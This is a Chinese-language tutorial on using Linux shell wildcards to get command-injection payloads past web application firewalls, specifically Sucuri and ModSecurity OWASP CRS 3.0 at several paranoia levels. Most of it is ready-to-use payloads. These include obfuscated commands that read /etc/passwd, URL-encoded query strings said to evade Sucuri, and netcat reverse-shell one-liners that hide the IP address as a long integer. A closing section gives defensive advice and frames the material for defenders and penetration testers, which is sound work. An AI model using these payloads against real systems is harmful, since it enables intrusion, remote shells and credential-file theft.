Bypass Waf 的技巧(一)
字数 1128 2025-08-27 12:33:23
Bypass WAF 技巧:利用通配符绕过Web应用防火墙
前言
本文详细介绍了如何利用Linux系统中的通配符特性绕过常见的Web应用防火墙(WAF)规则集,包括Sucuri WAF和ModSecurity OWASP CRS 3.0等。通过巧妙使用通配符,攻击者可以在WAF防护下执行命令、读取敏感文件甚至获取反向shell。
通配符基础知识
Bash通配符特性
Bash标准通配符(也称为通配模式)用于处理多个文件,主要特性包括:
?:匹配任意单个字符*:匹配任意数量字符[]:匹配指定范围内的字符
通配符执行命令示例
-
执行ls命令:
/???/?s -
读取passwd文件:
/???/??t /???/??ss??这会被解释为
/bin/cat /etc/passwd -
执行反向shell:
/???/n? -e /???/b??h 2130706433 1337其中
2130706433是127.0.0.1的长整型表示
WAF绕过技术详解
1. 文件读取绕过
传统方式:
/bin/cat /etc/passwd
绕过方式:
/???/??t /???/??ss??
字符使用:/ ? t s
2. 反向shell绕过
传统方式:
/bin/nc 127.0.0.1 1337
绕过方式:
/???/n? 2130706433 1337
字符使用:/ ? n [0-9]
3. 文件枚举技术
使用echo命令枚举文件和目录:
echo /*/*ss*
针对不同WAF的绕过方法
Sucuri WAF绕过
Sucuri WAF通常会拦截包含/etc/passwd或/bin/ls等敏感路径的请求,但允许使用通配符:
被拦截的请求:
/?cmd=cat+/etc/passwd
成功绕过的请求:
/?cmd=%2f???%2f??t%20%2f???%2fp??s??
ModSecurity OWASP CRS 3.0绕过
ModSecurity的防护级别分为PL0-PL4,不同级别的绕过策略:
PL0
完全禁用许多规则,payload可直接执行
PL1/PL2
拦截标准OS文件访问尝试,但允许通配符:
/?cmd=/???/??t /???/??ss??
PL3
会检测重复非字符,但可使用少量问号绕过:
c=/?in/cat+/et?/passw?
PL4
最严格级别,基本无法使用通配符绕过,因为限制了字符范围:
ASCII: 38,44-46,48-58,61,65-90,95,97-122
高级技巧
-
IP地址转换:
- 使用长整型表示IP地址(如
127.0.0.1转为2130706433) - 避免使用点字符
.,减少被检测风险
- 使用长整型表示IP地址(如
-
命令变体:
- 对于不同系统的nc版本:
/???/?c.e /???/b??h 2130706433 1337 -
字符限制下的payload构造:
- 在严格字符限制下,尽量使用字母和数字构造最短路径
防御建议
-
WAF配置建议:
- 启用最高防护级别(PL4)
- 限制非必要字符的使用
- 监控异常字符组合
-
应用层防护:
- 输入验证和过滤
- 最小权限原则
- 避免直接执行用户输入
-
日志监控:
- 记录所有包含通配符的请求
- 设置异常请求警报
总结
通配符绕过技术展示了WAF规则集的局限性,特别是在Linux系统环境下。防御者需要了解这些技术以更好地配置防护措施,而渗透测试人员则可以利用这些方法评估系统安全性。最重要的是,WAF不应是唯一的安全防线,而应作为深度防御策略的一部分。